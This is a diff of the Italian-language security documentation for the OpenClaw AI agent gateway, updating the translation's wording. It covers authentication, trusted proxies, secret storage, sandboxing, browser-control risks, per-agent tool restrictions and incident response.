Serve), OpenClaw -accetta le intestazioni di identità Tailscale Serve (`tailscale-user-login`) per l’autenticazione -UI/WebSocket di controllo. OpenClaw verifica l’identità risolvendo l’indirizzo +accetta gli header di identità Tailscale Serve (`tailscale-user-login`) per l'autenticazione della UI di controllo/WebSocket. OpenClaw verifica l'identità risolvendo l'indirizzo `x-forwarded-for` tramite il daemon Tailscale locale (`tailscale whois`) -e confrontandolo con l’intestazione. Questo si attiva solo per richieste che raggiungono loopback +e confrontandolo con l'header. Questo si attiva solo per richieste che raggiungono loopback e includono `x-forwarded-for`, `x-forwarded-proto` e `x-forwarded-host` come iniettati da Tailscale. -Per questo percorso asincrono di verifica dell’identità, i tentativi falliti per lo stesso `{scope, ip}` -vengono serializzati prima che il limitatore registri l’errore. Riprovi errati concorrenti +Per questo percorso asincrono di controllo dell'identità, i tentativi falliti per lo stesso `{scope, ip}` +vengono serializzati prima che il limitatore registri il fallimento. Ritentativi errati concorrenti da un client Serve possono quindi bloccare immediatamente il secondo tentativo -invece di passare in competizione come due semplici mancate corrispondenze. -Gli endpoint HTTP API (per esempio `/v1/*`, `/tools/invoke` e `/api/channels/*`) -**non** usano l’autenticazione tramite intestazione di identità Tailscale. Seguono comunque la modalità -di autenticazione HTTP configurata del gateway. +invece di procedere in race come due semplici mismatch. +Gli endpoint API HTTP (per esempio `/v1/*`, `/tools/invoke` e `/api/channels/*`) +**non** usano l'autenticazione con header di identità Tailscale. Seguono comunque la modalità di autenticazione HTTP configurata del gateway. Nota importante sui confini: -- L’autenticazione bearer HTTP del Gateway è di fatto un accesso operatore tutto-o-niente. -- Tratta le credenziali che possono chiamare `/v1/chat/completions`, `/v1/responses` o `/api/channels/*` come segreti operatore ad accesso completo per quel gateway. -- Sulla superficie HTTP compatibile con OpenAI, l’autenticazione bearer con segreto condiviso ripristina l’intero set predefinito di ambiti operatore (`operator.admin`, `operator.approvals`, `operator.pairing`, `operator.read`, `operator.talk.secrets`, `operator.write`) e la semantica del proprietario per i turni dell’agente; valori `x-openclaw-scopes` più ristretti non riducono quel percorso con segreto condiviso. -- La semantica degli ambiti per richiesta su HTTP si applica solo quando la richiesta proviene da una modalità con identità, come l’autenticazione tramite proxy attendibile o `gateway.auth.mode="none"` su un ingresso privato. -- In queste modalità con identità, omettere `x-openclaw-scopes` ricade sul normale set predefinito di ambiti operatore; invia l’intestazione esplicitamente quando vuoi un set di ambiti più ristretto. -- `/tools/invoke` segue la stessa regola del segreto condiviso: anche lì l’autenticazione bearer con token/password è trattata come accesso operatore completo, mentre le modalità con identità rispettano comunque gli ambiti dichiarati. +- L'autenticazione bearer HTTP del Gateway equivale di fatto a un accesso operatore tutto-o-niente. +- Tratta le credenziali che possono chiamare `/v1/chat/completions`, `/v1/responses` o `/api/channels/*` come segreti operatore con accesso completo per quel gateway. +- Sulla superficie HTTP compatibile con OpenAI, l'autenticazione bearer con segreto condiviso ripristina l'intero set predefinito di ambiti operatore (`operator.admin`, `operator.approvals`, `operator.pairing`, `operator.read`, `operator.talk.secrets`, `operator.write`) e la semantica del proprietario per i turni degli agenti; valori `x-openclaw-scopes` più ristretti non riducono quel percorso con segreto condiviso. +- La semantica degli ambiti per richiesta su HTTP si applica solo quando la richiesta proviene da una modalità con identità, come l'autenticazione con proxy attendibile o `gateway.auth.mode="none"` su un ingresso privato. +- In queste modalità con identità, omettere `x-openclaw-scopes` torna al normale set di ambiti operatore predefinito; invia l'header esplicitamente quando vuoi un set di ambiti più ristretto. +- `/tools/invoke` segue la stessa regola del segreto condiviso: anche lì l'autenticazione bearer token/password è trattata come accesso operatore completo, mentre le modalità con identità rispettano comunque gli ambiti dichiarati. - Non condividere queste credenziali con chiamanti non attendibili; preferisci gateway separati per ogni confine di fiducia. -**Presupposto di fiducia:** l’autenticazione Serve senza token presuppone che l’host gateway sia attendibile. +**Assunzione di fiducia:** l'autenticazione Serve senza token presuppone che l'host del gateway sia attendibile. Non considerarla una protezione contro processi ostili sullo stesso host. Se codice locale -non attendibile può essere eseguito sull’host gateway, disabilita `gateway.auth.allowTailscale` -e richiedi l’autenticazione esplicita con segreto condiviso usando `gateway.auth.mode: "token"` o +non attendibile può essere eseguito sull'host del gateway, disabilita `gateway.auth.allowTailscale` +e richiedi l'autenticazione esplicita con segreto condiviso tramite `gateway.auth.mode: "token"` o `"password"`. -**Regola di sicurezza:** non inoltrare queste intestazioni dal tuo reverse proxy. Se +**Regola di sicurezza:** non inoltrare questi header dal tuo reverse proxy. Se termini TLS o usi un proxy davanti al gateway, disabilita -`gateway.auth.allowTailscale` e usa l’autenticazione con segreto condiviso (`gateway.auth.mode: -"token"` o `"password"`) oppure [Autenticazione tramite proxy attendibile](/it/gateway/trusted-proxy-auth) +`gateway.auth.allowTailscale` e usa l'autenticazione con segreto condiviso (`gateway.auth.mode: +"token"` o `"password"`) oppure [Autenticazione con proxy attendibile](/gateway/trusted-proxy-auth) al suo posto. Proxy attendibili: - Se termini TLS davanti al Gateway, imposta `gateway.trustedProxies` sugli IP del tuo proxy. -- OpenClaw considererà attendibile `x-forwarded-for` (o `x-real-ip`) da quegli IP per determinare l’IP client per i controlli di associazione locale e per i controlli di autenticazione HTTP/locali. -- Assicurati che il proxy **sovrascriva** `x-forwarded-for` e blocchi l’accesso diretto alla porta del Gateway. +- OpenClaw considererà attendibile `x-forwarded-for` (o `x-real-ip`) da quegli IP per determinare l'IP client per i controlli di pairing locale e i controlli di autenticazione/località HTTP. +- Assicurati che il tuo proxy **sovrascriva** `x-forwarded-for` e blocchi l'accesso diretto alla porta del Gateway. -Vedi [Tailscale](/it/gateway/tailscale) e [Panoramica web](/it/web). +Consulta [Tailscale](/gateway/tailscale) e [Panoramica web](/web). -### Controllo del browser tramite host Node (consigliato) +### Controllo del browser tramite host node (consigliato) -Se il Gateway è remoto ma il browser gira su un’altra macchina, esegui un **host Node** -sulla macchina del browser e lascia che il Gateway faccia da proxy alle azioni del browser (vedi [Strumento browser](/it/tools/browser)). -Tratta l’associazione Node come accesso amministrativo. +Se il tuo Gateway è remoto ma il browser gira su un'altra macchina, esegui un **host node** +sulla macchina del browser e lascia che il Gateway faccia da proxy per le azioni del browser (vedi [Strumento browser](/tools/browser)). +Tratta il pairing del node come accesso amministrativo. Schema consigliato: -- Mantieni il Gateway e l’host Node sulla stessa tailnet (Tailscale). -- Associa intenzionalmente il Node; disabilita l’instradamento proxy del browser se non ti serve. +- Mantieni il Gateway e l'host node sulla stessa tailnet (Tailscale). +- Effettua intenzionalmente il pairing del node; disabilita il routing proxy del browser se non ti serve. Evita: @@ -967,80 +873,55 @@ Evita: ### Segreti su disco -Presumi che tutto ciò che si trova sotto `~/.openclaw/` (o `$OPENCLAW_STATE_DIR/`) possa contenere segreti o dati privati: +Presumi che qualunque cosa sotto `~/.openclaw/` (o `$OPENCLAW_STATE_DIR/`) possa contenere segreti o dati privati: -- `openclaw.json`: la configurazione può includere token (gateway, gateway remoto), impostazioni provider e allowlist. -- `credentials/**`: credenziali dei canali (esempio: credenziali WhatsApp), allowlist di associazione, import OAuth legacy. -- `agents//agent/auth-profiles.json`: chiavi API, profili token, token OAuth e `keyRef`/`tokenRef` facoltativi. -- `secrets.json` (facoltativo): payload di segreti basato su file usato dai provider SecretRef `file` (`secrets.providers`). -- `agents//agent/auth.json`: file di compatibilità legacy. Le voci statiche `api_key` vengono ripulite quando vengono rilevate. +- `openclaw.json`: la configurazione può includere token (gateway, gateway remoto), impostazioni dei provider e allowlist. +- `credentials/**`: credenziali dei canali (esempio: credenziali WhatsApp), allowlist di pairing, importazioni OAuth legacy. +- `agents//agent/auth-profiles.json`: chiavi API, profili token, token OAuth e `keyRef`/`tokenRef` opzionali. +- `agents//agent/codex-home/**`: account app-server Codex per agente, configurazione, skills, Plugin, stato thread nativo e diagnostica. +- `secrets.json` (opzionale): payload di segreti basato su file usato dai provider SecretRef `file` (`secrets.providers`). +- `agents//agent/auth.json`: file di compatibilità legacy. Le voci statiche `api_key` vengono ripulite quando rilevate. - `agents//sessions/**`: trascrizioni di sessione (`*.jsonl`) + metadati di routing (`sessions.json`) che possono contenere messaggi privati e output degli strumenti. -- pacchetti Plugin inclusi: Plugin installati (più i loro `node_modules/`). -- `sandboxes/**`: workspace sandbox degli strumenti; possono accumulare copie dei file che leggi/scrivi dentro la sandbox. +- pacchetti Plugin in bundle: Plugin installati (più i loro `node_modules/`). +- `sandboxes/**`: workspace sandbox degli strumenti; possono accumulare copie di file letti/scritti dentro la sandbox. -Suggerimenti di rafforzamento: +Suggerimenti di hardening: - Mantieni permessi restrittivi (`700` sulle directory, `600` sui file). -- Usa la crittografia completa del disco sull’host gateway. -- Preferisci un account utente OS dedicato per il Gateway se l’host è condiviso. +- Usa la cifratura completa del disco sull'host del gateway. +- Preferisci un account utente OS dedicato per il Gateway se l'host è condiviso. ### File `.env` del workspace -OpenClaw carica file `.env` locali al workspace per agenti e strumenti, ma non consente mai a quei file di sovrascrivere silenziosamente i controlli runtime del gateway. +OpenClaw carica i file `.env` locali del workspace per agenti e strumenti, ma non consente mai a quei file di sovrascrivere silenziosamente i controlli runtime del gateway. -- Qualsiasi chiave che inizia con `OPENCLAW_*` è bloccata dai file `.env` di workspace non attendibili. -- Anche le impostazioni degli endpoint di canale per Matrix, Mattermost, IRC e Synology Chat sono bloccate dalle sovrascritture `.env` di workspace, quindi i workspace clonati non possono reindirizzare il traffico dei connettori inclusi tramite configurazione di endpoint locale. Le chiavi env degli endpoint (come `MATRIX_HOMESERVER`, `MATTERMOST_URL`, `IRC_HOST`, `SYNOLOGY_CHAT_INCOMING_URL`) devono provenire dall’ambiente del processo gateway o da `env.shellEnv`, non da un `.env` caricato dal workspace. -- Il blocco è a chiusura sicura: una nuova variabile di controllo runtime aggiunta in una versione futura non può essere ereditata da un `.env` committato o fornito da un aggressore; la chiave viene ignorata e il gateway mantiene il proprio valore. -- Le variabili d’ambiente attendibili di processo/OS (la shell propria del gateway, unità launchd/systemd, bundle dell’app) continuano ad applicarsi — questo vincola solo il caricamento dei file `.env`. +- Qualsiasi chiave che inizi con `OPENCLAW_*` viene bloccata dai file `.env` del workspace non attendibili. +- Anche le impostazioni degli endpoint dei canali per Matrix, Mattermost, IRC e Synology Chat sono bloccate dalle sovrascritture `.env` del workspace, quindi i workspace clonati non possono reindirizzare il traffico dei connettori in bundle tramite configurazione di endpoint locale. Le chiavi env degli endpoint (come `MATRIX_HOMESERVER`, `MATTERMOST_URL`, `IRC_HOST`, `SYNOLOGY_CHAT_INCOMING_URL`) devono provenire dall'ambiente del processo gateway o da `env.shellEnv`, non da un `.env` caricato dal workspace. +- Il blocco è fail-closed: una nuova variabile di controllo runtime aggiunta in una release futura non può essere ereditata da un `.env` committato o fornito da un attaccante; la chiave viene ignorata e il gateway mantiene il proprio valore. +- Le variabili d'ambiente attendibili del processo/OS (la shell del gateway, unità launchd/systemd, app bundle) si applicano comunque — questo vincola solo il caricamento dei file `.env`. -Motivo: i file `.env` di workspace spesso vivono accanto al codice dell’agente, vengono committati per errore o vengono scritti dagli strumenti. Bloccare l’intero prefisso `OPENCLAW_*` significa che aggiungere in seguito un nuovo flag `OPENCLAW_*` non potrà mai regredire in un’eredità silenziosa dallo stato del workspace. +Perché: i file `.env` del workspace vivono spesso accanto al codice degli agenti, vengono committati per errore o scritti dagli strumenti. Bloccare l'intero prefisso `OPENCLAW_*` significa che l'aggiunta successiva di un nuovo flag `OPENCLAW_*` non potrà mai regredire in un'eredità silenziosa dallo stato del workspace. ### Log e trascrizioni (redazione e conservazione) -Log e trascrizioni possono esporre informazioni sensibili anche quando i controlli di accesso sono corretti: +Log e trascrizioni possono far trapelare informazioni sensibili anche quando i controlli di accesso sono corretti: - I log del Gateway possono includere riepiloghi degli strumenti, errori e URL. -- Le trascrizioni di sessione possono includere segreti incollati, contenuti di file, output di comandi e link. +- Le trascrizioni delle sessioni possono includere segreti incollati, contenuti di file, output di comandi e link. Raccomandazioni: - Mantieni attiva la redazione di log e trascrizioni (`logging.redactSensitive: "tools"`; predefinito). - Aggiungi pattern personalizzati per il tuo ambiente tramite `logging.redactPatterns` (token, nomi host, URL interni). -- Quando condividi diagnostica, preferisci `openclaw status --all` (incollabile, segreti redatti) rispetto ai log grezzi. +- Quando condividi diagnostica, preferisci `openclaw status --all` (incollabile, segreti redatti) ai log grezzi. - Elimina le vecchie trascrizioni di sessione e i file di log se non hai bisogno di una lunga conservazione. -Dettagli: [Logging](/it/gateway/logging) - -### DM: associazione per impostazione predefinita - -```json5 -{ - channels: { whatsapp: { dmPolicy: "pairing" } }, -} -``` - -### Gruppi: richiedi la menzione ovunque - -```json -{ - "channels": { - "whatsapp": { - "groups": { - "*": { "requireMention": true } - } - } - }, - "agents": { - "list": [ - { - "id": "main", - "groupChat": { "mentionPatterns": ["@openclaw", "@mybot"] } - } - ] - } -} -``` +Dettagli: [Logging](/gateway/logging) +### DM: pairing per impostazione predefinita +__OC_I18N_900014__ +### Gruppi: richiedi menzione ovunque +__OC_I18N_900015__ Nelle chat di gruppo, rispondi solo quando vieni menzionato esplicitamente. ### Numeri separati (WhatsApp, Signal, Telegram) @@ -1048,293 +929,171 @@ Nelle chat di gruppo, rispondi solo quando vieni menzionato esplicitamente. Per i canali basati su numero di telefono, valuta di eseguire la tua IA su un numero di telefono separato da quello personale: - Numero personale: le tue conversazioni restano private -- Numero bot: l’IA gestisce queste conversazioni, con limiti appropriati +- Numero del bot: l'IA gestisce queste conversazioni, con limiti appropriati ### Modalità di sola lettura (tramite sandbox e strumenti) Puoi creare un profilo di sola lettura combinando: -- `agents.defaults.sandbox.workspaceAccess: "ro"` (oppure `"none"` per nessun accesso al workspace) +- `agents.defaults.sandbox.workspaceAccess: "ro"` (o `"none"` per nessun accesso al workspace) - elenchi di strumenti consentiti/negati che bloccano `write`, `edit`, `apply_patch`, `exec`, `process`, ecc. Opzioni di rafforzamento aggiuntive: - `tools.exec.applyPatch.workspaceOnly: true` (predefinito): garantisce che `apply_patch` non possa scrivere/eliminare fuori dalla directory del workspace anche quando il sandboxing è disattivato. Impostalo su `false` solo se vuoi intenzionalmente che `apply_patch` tocchi file fuori dal workspace. -- `tools.fs.workspaceOnly: true` (opzionale): limita i percorsi `read`/`write`/`edit`/`apply_patch` e i percorsi di caricamento automatico delle immagini del prompt nativo alla directory del workspace (utile se oggi consenti percorsi assoluti e vuoi un’unica protezione). -- Mantieni ristrette le radici del file system: evita radici ampie come la tua directory home per i workspace degli agenti/workspace sandbox. Radici ampie possono esporre file locali sensibili (per esempio stato/configurazione sotto `~/.openclaw`) agli strumenti del file system. +- `tools.fs.workspaceOnly: true` (opzionale): limita i percorsi `read`/`write`/`edit`/`apply_patch` e i percorsi di caricamento automatico delle immagini nei prompt nativi alla directory del workspace (utile se oggi consenti percorsi assoluti e vuoi un'unica protezione). +- Mantieni ristrette le radici del filesystem: evita radici ampie come la tua directory home per i workspace degli agenti/workspace sandbox. Radici ampie possono esporre file locali sensibili (per esempio stato/configurazione sotto `~/.openclaw`) agli strumenti del filesystem. -### Baseline sicura (copia/incolla) +### Base sicura (copia/incolla) -Una configurazione “predefinita sicura” che mantiene il Gateway privato, richiede l’abbinamento via DM ed evita bot di gruppo sempre attivi: +Una configurazione “predefinita sicura” che mantiene privato il Gateway, richiede l'abbinamento tramite DM ed evita bot di gruppo sempre attivi: +__OC_I18N_900016__ +Se vuoi anche un'esecuzione degli strumenti “più sicura per impostazione predefinita”, aggiungi una sandbox e nega gli strumenti pericolosi per qualsiasi agente non proprietario (esempio sotto “Profili di accesso per agente”). -```json5 -{ - gateway: { - mode: "local", - bind: "loopback", - port: 18789, - auth: { mode: "token", token: "your-long-random-token" }, - }, - channels: { - whatsapp: { - dmPolicy: "pairing", - groups: { "*": { requireMention: true } }, - }, - }, -} -``` - -Se vuoi anche un’esecuzione degli strumenti “più sicura per impostazione predefinita”, aggiungi una sandbox e nega gli strumenti pericolosi per qualsiasi agente non proprietario (esempio sotto “Profili di accesso per agente”). - -Baseline integrata per i turni degli agenti guidati dalla chat: i mittenti non proprietari non possono usare gli strumenti `cron` o `gateway`. +Base integrata per turni agente guidati dalla chat: i mittenti non proprietari non possono usare gli strumenti `cron` o `gateway`. ## Sandboxing (consigliato) -Documento dedicato: [Sandboxing](/it/gateway/sandboxing) +Documento dedicato: [Sandboxing](/gateway/sandboxing) Due approcci complementari: -- **Eseguire l’intero Gateway in Docker** (confine del contenitore): [Docker](/it/install/docker) -- **Sandbox degli strumenti** (`agents.defaults.sandbox`, gateway host + strumenti isolati dalla sandbox; Docker è il backend predefinito): [Sandboxing](/it/gateway/sandboxing) +- **Esegui l'intero Gateway in Docker** (confine del container): [Docker](/install/docker) +- **Sandbox degli strumenti** (`agents.defaults.sandbox`, gateway host + strumenti isolati dalla sandbox; Docker è il backend predefinito): [Sandboxing](/gateway/sandboxing) -Per impedire l’accesso tra agenti, mantieni `agents.defaults.sandbox.scope` su `"agent"` (predefinito) o `"session"` per un isolamento per sessione più rigoroso. `scope: "shared"` usa un singolo contenitore o workspace. +Per impedire l'accesso tra agenti, mantieni `agents.defaults.sandbox.scope` su `"agent"` (predefinito) o `"session"` per un isolamento per sessione più rigoroso. `scope: "shared"` usa un singolo container o workspace. -Considera anche l’accesso al workspace dell’agente dentro la sandbox: +Considera anche l'accesso al workspace dell'agente dentro la sandbox: -- `agents.defaults.sandbox.workspaceAccess: "none"` (predefinito) mantiene il workspace dell’agente fuori portata; gli strumenti vengono eseguiti rispetto a un workspace sandbox sotto `~/.openclaw/sandboxes` -- `agents.defaults.sandbox.workspaceAccess: "ro"` monta il workspace dell’agente in sola lettura su `/agent` (disabilita `write`/`edit`/`apply_patch`) -- `agents.defaults.sandbox.workspaceAccess: "rw"` monta il workspace dell’agente in lettura/scrittura su `/workspace` -- I `sandbox.docker.binds` extra vengono validati rispetto ai percorsi sorgente normalizzati e canonicalizzati. I trucchi con symlink padre e gli alias canonici della home falliscono comunque in modo chiuso se risolvono verso radici bloccate come `/etc`, `/var/run` o directory di credenziali sotto la home del sistema operativo. +- `agents.defaults.sandbox.workspaceAccess: "none"` (predefinito) mantiene il workspace dell'agente non accessibile; gli strumenti vengono eseguiti su un workspace sandbox sotto `~/.openclaw/sandboxes` +- `agents.defaults.sandbox.workspaceAccess: "ro"` monta il workspace dell'agente in sola lettura su `/agent` (disabilita `write`/`edit`/`apply_patch`) +- `agents.defaults.sandbox.workspaceAccess: "rw"` monta il workspace dell'agente in lettura/scrittura su `/workspace` +- I `sandbox.docker.binds` aggiuntivi sono validati rispetto a percorsi sorgente normalizzati e canonicalizzati. I trucchi con symlink padre e alias canonici della home falliscono comunque in modo chiuso se si risolvono in radici bloccate come `/etc`, `/var/run` o directory di credenziali sotto la home del sistema operativo. -`tools.elevated` è la via di fuga globale di base che esegue exec fuori dalla sandbox. L’host effettivo è `gateway` per impostazione predefinita, oppure `node` quando il target exec è configurato su `node`. Mantieni `tools.elevated.allowFrom` restrittivo e non abilitarlo per sconosciuti. Puoi limitare ulteriormente l’elevazione per agente tramite `agents.list[].tools.elevated`. Vedi [Modalità elevata](/it/tools/elevated). +`tools.elevated` è la via di fuga di base globale che esegue exec fuori dalla sandbox. L'host effettivo è `gateway` per impostazione predefinita, o `node` quando il target exec è configurato su `node`. Mantieni `tools.elevated.allowFrom` restrittivo e non abilitarlo per sconosciuti. Puoi limitare ulteriormente elevated per agente tramite `agents.list[].tools.elevated`. Vedi [Modalità elevata](/tools/elevated). -### Protezione per la delega ai sotto-agenti +### Protezione per la delega a sotto-agenti -Se consenti strumenti di sessione, tratta le esecuzioni delegate ai sotto-agenti come un’altra decisione di confine: +Se consenti gli strumenti di sessione, tratta le esecuzioni delegate ai sotto-agenti come un'altra decisione di confine: -- Nega `sessions_spawn` a meno che l’agente non abbia davvero bisogno della delega. +- Nega `sessions_spawn` a meno che l'agente non abbia davvero bisogno di delega. - Mantieni `agents.defaults.subagents.allowAgents` e qualsiasi override per agente `agents.list[].subagents.allowAgents` limitati ad agenti target noti come sicuri. -- Per qualsiasi workflow che debba rimanere in sandbox, chiama `sessions_spawn` con `sandbox: "require"` (il valore predefinito è `inherit`). +- Per qualsiasi workflow che deve rimanere in sandbox, chiama `sessions_spawn` con `sandbox: "require"` (il valore predefinito è `inherit`). - `sandbox: "require"` fallisce rapidamente quando il runtime figlio target non è in sandbox. ## Rischi del controllo del browser -Abilitare il controllo del browser dà al modello la capacità di guidare un browser reale. -Se quel profilo del browser contiene già sessioni autenticate, il modello può -accedere a quegli account e dati. Tratta i profili del browser come **stato sensibile**: +Abilitare il controllo del browser dà al modello la capacità di controllare un browser reale. +Se quel profilo browser contiene già sessioni con accesso effettuato, il modello può +accedere a quegli account e dati. Tratta i profili browser come **stato sensibile**: -- Preferisci un profilo dedicato per l’agente (il profilo `openclaw` predefinito). -- Evita di puntare l’agente al tuo profilo personale di uso quotidiano. -- Mantieni disabilitato il controllo del browser host per gli agenti in sandbox, a meno che tu non ti fidi di loro. -- L’API autonoma di controllo del browser loopback rispetta solo l’autenticazione con segreto condiviso - (autenticazione bearer con token gateway o password gateway). Non usa - header di identità trusted-proxy o Tailscale Serve. +- Preferisci un profilo dedicato per l'agente (il profilo `openclaw` predefinito). +- Evita di puntare l'agente al tuo profilo personale usato ogni giorno. +- Mantieni disabilitato il controllo del browser host per gli agenti in sandbox, a meno che tu non li consideri affidabili. +- L'API standalone di controllo del browser su loopback rispetta solo l'autenticazione tramite segreto condiviso + (autenticazione bearer con token del gateway o password del gateway). Non consuma + intestazioni di identità trusted-proxy o Tailscale Serve. - Tratta i download del browser come input non attendibile; preferisci una directory di download isolata. -- Disabilita la sincronizzazione del browser/i gestori di password nel profilo dell’agente, se possibile (riduce il raggio d’impatto). -- Per gateway remoti, considera “controllo del browser” equivalente ad “accesso operatore” a qualunque risorsa quel profilo possa raggiungere. -- Mantieni gli host Gateway e node solo su tailnet; evita di esporre le porte di controllo del browser alla LAN o a Internet pubblico. -- Disabilita l’instradamento proxy del browser quando non ne hai bisogno (`gateway.nodes.browser.mode="off"`). -- La modalità di sessione esistente di Chrome MCP **non** è “più sicura”; può agire come te su qualunque risorsa quel profilo Chrome host possa raggiungere. +- Disabilita sincronizzazione del browser/gestori di password nel profilo dell'agente se possibile (riduce il raggio d'impatto). +- Per gateway remoti, presumi che “controllo del browser” equivalga ad “accesso operatore” a tutto ciò che quel profilo può raggiungere. +- Mantieni gli host Gateway e Node solo nella tailnet; evita di esporre le porte di controllo del browser alla LAN o a Internet pubblico. +- Disabilita il routing proxy del browser quando non ti serve (`gateway.nodes.browser.mode="off"`). +- La modalità sessione esistente di Chrome MCP **non** è “più sicura”; può agire come te in tutto ciò che quel profilo Chrome host può raggiungere. ### Policy SSRF del browser (rigorosa per impostazione predefinita) -La policy di navigazione del browser di OpenClaw è rigorosa per impostazione predefinita: le destinazioni private/interne restano bloccate a meno che tu non scelga esplicitamente di consentirle. +La policy di navigazione del browser di OpenClaw è rigorosa per impostazione predefinita: le destinazioni private/interne restano bloccate a meno che tu non effettui esplicitamente l'opt-in. - Predefinito: `browser.ssrfPolicy.dangerouslyAllowPrivateNetwork` non è impostato, quindi la navigazione del browser mantiene bloccate le destinazioni private/interne/a uso speciale. - Alias legacy: `browser.ssrfPolicy.allowPrivateNetwork` è ancora accettato per compatibilità. - Modalità opt-in: imposta `browser.ssrfPolicy.dangerouslyAllowPrivateNetwork: true` per consentire destinazioni private/interne/a uso speciale. - In modalità rigorosa, usa `hostnameAllowlist` (pattern come `*.example.com`) e `allowedHostnames` (eccezioni host esatte, inclusi nomi bloccati come `localhost`) per eccezioni esplicite. -- La navigazione viene controllata prima della richiesta e ricontrollata con il massimo impegno sull’URL `http(s)` finale dopo la navigazione per ridurre i pivot basati su reindirizzamento. +- La navigazione viene controllata prima della richiesta e ricontrollata al meglio sull'URL `http(s)` finale dopo la navigazione, per ridurre i pivot basati su redirect. Esempio di policy rigorosa: - -```json5 -{ - browser: { - ssrfPolicy: { - dangerouslyAllowPrivateNetwork: false, - hostnameAllowlist: ["*.example.com", "example.com"], - allowedHostnames: ["localhost"], - }, - }, -} -``` - +__OC_I18N_900017__ ## Profili di accesso per agente (multi-agente) -Con il routing multi-agente, ogni agente può avere la propria sandbox e policy degli strumenti: +Con il routing multi-agente, ogni agente può avere la propria sandbox + policy degli strumenti: usa questa opzione per concedere **accesso completo**, **sola lettura** o **nessun accesso** per agente. -Vedi [Sandbox e strumenti multi-agente](/it/tools/multi-agent-sandbox-tools) per dettagli completi -e regole di precedenza. +Vedi [Sandbox e strumenti multi-agente](/tools/multi-agent-sandbox-tools) per tutti i dettagli +e le regole di precedenza. -Casi d’uso comuni: +Casi d'uso comuni: - Agente personale: accesso completo, nessuna sandbox - Agente famiglia/lavoro: sandbox + strumenti di sola lettura -- Agente pubblico: sandbox + nessuno strumento file system/shell +- Agente pubblico: sandbox + nessuno strumento filesystem/shell ### Esempio: accesso completo (nessuna sandbox) - -```json5 -{ - agents: { - list: [ - { - id: "personal", - workspace: "~/.openclaw/workspace-personal", - sandbox: { mode: "off" }, - }, - ], - }, -} -``` - +__OC_I18N_900018__ ### Esempio: strumenti di sola lettura + workspace di sola lettura - -```json5 -{ - agents: { - list: [ - { - id: "family", - workspace: "~/.openclaw/workspace-family", - sandbox: { - mode: "all", - scope: "agent", - workspaceAccess: "ro", - }, - tools: { - allow: ["read"], - deny: ["write", "edit", "apply_patch", "exec", "process", "browser"], - }, - }, - ], - }, -} -``` - -### Esempio: nessun accesso a file system/shell (messaggistica del provider consentita) - -```json5 -{ - agents: { - list: [ - { - id: "public", - workspace: "~/.openclaw/workspace-public", - sandbox: { - mode: "all", - scope: "agent", - workspaceAccess: "none", - }, - // Session tools can reveal sensitive data from transcripts. By default OpenClaw limits these tools - // to the current session + spawned subagent sessions, but you can clamp further if needed. - // See `tools.sessions.visibility` in the configuration reference. - tools: { - sessions: { visibility: "tree" }, // self | tree | agent | all - allow: [ - "sessions_list", - "sessions_history", - "sessions_send", - "sessions_spawn", - "session_status", - "whatsapp", - "telegram", - "slack", - "discord", - ], - deny: [ - "read", - "write", - "edit", - "apply_patch", - "exec", - "process", - "browser", - "canvas", - "nodes", - "cron", - "gateway", - "image", - ], - }, - }, - ], - }, -} -``` - +__OC_I18N_900019__ +### Esempio: nessun accesso filesystem/shell (messaggistica provider consentita) +__OC_I18N_900020__ ## Risposta agli incidenti Se la tua IA fa qualcosa di dannoso: -### Contieni +### Contenere -1. **Fermala:** arresta l’app macOS (se supervisiona il Gateway) o termina il tuo processo `openclaw gateway`. -2. **Chiudi l’esposizione:** imposta `gateway.bind: "loopback"` (o disabilita Tailscale Funnel/Serve) finché non capisci cosa è successo. -3. **Congela l’accesso:** passa DM/gruppi rischiosi a `dmPolicy: "disabled"` / richiedi menzioni, e rimuovi le voci consenti-tutto `"*"` se le avevi. +1. **Fermala:** arresta l'app macOS (se supervisiona il Gateway) o termina il processo `openclaw gateway`. +2. **Chiudi l'esposizione:** imposta `gateway.bind: "loopback"` (o disabilita Tailscale Funnel/Serve) finché non capisci cosa è successo. +3. **Blocca l'accesso:** passa i DM/gruppi rischiosi a `dmPolicy: "disabled"` / richiedi menzioni e rimuovi le voci `"*"` allow-all se le avevi. -### Ruota (presumi compromissione se sono trapelati segreti) +### Ruotare (presumi compromissione se sono trapelati segreti) -1. Ruota l’autenticazione Gateway (`gateway.auth.token` / `OPENCLAW_GATEWAY_PASSWORD`) e riavvia. +1. Ruota l'autenticazione del Gateway (`gateway.auth.token` / `OPENCLAW_GATEWAY_PASSWORD`) e riavvia. 2. Ruota i segreti dei client remoti (`gateway.remote.token` / `.password`) su qualsiasi macchina che possa chiamare il Gateway. -3. Ruota le credenziali provider/API (credenziali WhatsApp, token Slack/Discord, chiavi modello/API in `auth-profiles.json` e valori dei payload dei segreti cifrati quando usati). +3. Ruota le credenziali provider/API (credenziali WhatsApp, token Slack/Discord, chiavi modello/API in `auth-profiles.json` e valori dei payload di segreti cifrati quando usati). -### Verifica +### Audit 1. Controlla i log del Gateway: `/tmp/openclaw/openclaw-YYYY-MM-DD.log` (o `logging.file`). -2. Rivedi le trascrizioni pertinenti: `~/.openclaw/agents//sessions/*.jsonl`. -3. Rivedi le modifiche recenti alla configurazione (qualsiasi cosa che possa aver ampliato l’accesso: `gateway.bind`, `gateway.auth`, policy DM/gruppi, `tools.elevated`, modifiche ai plugin). -4. Riesegui `openclaw security audit --deep` e conferma che i risultati critici siano risolti. +2. Esamina le trascrizioni pertinenti: `~/.openclaw/agents//sessions/*.jsonl`. +3. Esamina le modifiche recenti alla configurazione (qualsiasi cosa che possa aver ampliato l'accesso: `gateway.bind`, `gateway.auth`, policy DM/gruppi, `tools.elevated`, modifiche ai plugin). +4. Esegui di nuovo `openclaw security audit --deep` e conferma che i risultati critici siano risolti. -### Raccogli per un report +### Raccogliere per un report -- Timestamp, sistema operativo dell’host gateway + versione OpenClaw -- Le trascrizioni delle sessioni + una breve coda del log (dopo redazione) -- Cosa ha inviato l’attaccante + cosa ha fatto l’agente +- Timestamp, sistema operativo dell'host gateway + versione di OpenClaw +- Le trascrizioni delle sessioni + una breve coda di log (dopo la redazione) +- Cosa ha inviato l'attaccante + cosa ha fatto l'agente - Se il Gateway era esposto oltre il loopback (LAN/Tailscale Funnel/Serve) ## Scansione dei segreti con detect-secrets -La CI esegue l’hook pre-commit `detect-secrets` nel job `secrets`. -I push su `main` eseguono sempre una scansione di tutti i file. Le pull request usano un percorso rapido sui file modificati -quando è disponibile un commit base, e altrimenti ripiegano su una scansione di tutti i file. -Se fallisce, ci sono nuovi candidati non ancora presenti nella baseline. +La CI esegue l'hook pre-commit `detect-secrets` nel job `secrets`. +I push su `main` 